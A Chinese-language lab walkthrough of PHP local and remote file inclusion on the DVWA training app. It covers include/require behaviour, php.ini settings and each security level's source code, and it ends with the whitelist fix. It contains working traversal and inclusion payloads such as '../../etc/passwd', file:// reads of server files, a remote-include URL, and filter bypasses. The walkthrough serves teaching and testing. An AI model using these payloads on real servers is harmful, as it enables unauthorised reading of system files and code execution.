File Inclusion
什么是 File Inclusion
简介
文件包含漏洞,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(), require(), include_once(), require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格的审查,就会导致任意文件读取或任意命令执行。文件包含漏洞分为:本地文件包含漏洞和远程文件包含漏洞,远程文件包含漏洞是因为PHP配置中的allow_url_fopen开启,服务器允许包含一个远程文件。
相关函数
include(): 将指定的文件读入并且执行里面的程序。
require(): 将文件的内容读入,并且把自己本身替换成这些读入的内容。
include_once(): 和include函数完全相同,唯一区别是如果该文件中已经被包含过,则不会再次包含。
require_once(): 和require函数完全相同,唯一区别是如果该文件中已经被包含过,则不会再次包含。
文件包含功能
include和require函数的主要区别是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误时,会直接报错并退出程序的执行。
文件包含功能使用include函数将web根目录以外的目录文件包含进来,文件包含功能给开发人员带来了便利。通过把常用的功能归类成文件,文件包含可以提高代码重用率。
文件包含漏洞是高危漏洞,往往会导致任意文件读取和任意命令执行,造成严重的安全后果。
文件包含往往要使用到目录遍历工具。
相关知识
1.文件包含分类:
目录遍历(Directory traversal) 和 文件包含(File include) 的一些区别:
目录遍历:可以读取web根目录以外的其他目录,根源在于web application 的路径访问权限设置不严,针对的是本系统。
文件包含:通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含。
LFI:本地文件包含(Local File Inclusion)
RFI:远程文件包含(Remote File Inclusion)
2.php.ini设置
allow_url_fopen=on (默认开启)
allow_url_include=on (默认关闭)
远程文件包含是因为开启了PHP配置中的allow_url_fopen选项(选项开启后,服务器允许包含一个远程的文件)。
文件包含漏洞的一般特征
?page=a.PHP
?home=a.html
?file=content
文件包含测试
1.通过多个 …/ 让目录返回上一级,然后再加入目标目录
?file=../../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
2.编码字符绕过过滤
1.可以使用多种编码方式进行绕过
2.%00嵌入任意位置
3 . .的利用
注意:服务器包含文件时,不管文件后缀是否是PHP,都会尝试当作PHP文件执行,如果文件内容确为PHP,则会正常执行并返回结果;如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
**1.low**
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
源码没有进行任何过滤。
?page=include.php/
看报错信息,直接将网站的路径信息给我们暴露出来了:
第一条warring是找不到我们指定的page,给出警告;
第二条warring是因为没有找到指定的page,在包含时出错。根据暴露出来的绝对路径:
/var/www/html/dvwa/vulnerabilities/fi/index.php
, 通过访问相对路径的方式../ 访问所有的路径,如访问
?page=../../phpinfo.php
尝试远程文件包含:
在本地建立一个info.txt文件:(路径:/var/www/html/info.txt)
构造URL:
?page=http://127.0.0.1/info.txt
2.medium
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到,代码对远程文件包含进行了限制,用str_replace函数将http://、https//、../、..\进行了替换,换为了空字符。
可以采用双写绕过。
本地包含:
远程包含:
3.high
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch():
high级别代码,使用了fnmatch函数检查page参数,要求page参数的开头必须是file的文件或只能为include.php文件服务器才会去包含相应文件。
使用file协议,以file字符串开头:
?page=file:///var/www/html/dvwa/php.ini
成功读取到服务器配置文件:
file协议简单来说就是我们直接用浏览器打开的本地文件一样。
如:
**4.impossible**
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
impossible级别的代码使用了白名单过滤的方法,包含的文件名只能为白名单中的文件,避免了文件包含漏洞的产生。